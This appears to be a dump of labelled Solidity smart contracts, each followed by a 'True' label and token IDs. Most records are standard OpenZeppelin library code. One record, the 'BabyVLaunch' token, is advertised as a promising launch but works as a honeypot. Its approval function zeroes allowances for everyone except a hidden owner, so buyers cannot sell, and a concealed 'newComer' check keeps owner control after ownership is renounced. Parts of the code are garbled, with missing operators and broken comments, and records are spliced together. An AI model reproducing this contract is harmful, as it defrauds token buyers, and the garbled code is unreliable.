} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }	True	[ 101, 1013, 1013, 3206, 2241, 2006, 1031, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 2330, 4371, 27877, 2378, 1012, 4012, 1013, 8311, 1013, 1017, 1012, 1060, 1013, 9413, 2278, 2581, 17465, 1033, 1006, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 2330, 4371, 27877, 2378, 1012, 4012, 1013, 8311, 1013, 1017, 1012, 1060, 1013, 9413, 2278, 2581, 17465, 1007, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 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/* BabyVLaunch.com To get an idea about the potential of this baby 👼 all you have to do is look at VLaunch. - Launch date: December 27 ⏳ - Launching on #ETH ✅ - Low initial market cap so this baby has room to grow ✅ - Experienced team ✅ / pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BabyVLaunch is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10*6 10**18; string private _name = 'Baby VLaunch ' ; string private _symbol = 'BABYVPAD '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }	True	[ 101, 1013, 1008, 3336, 2615, 17298, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an 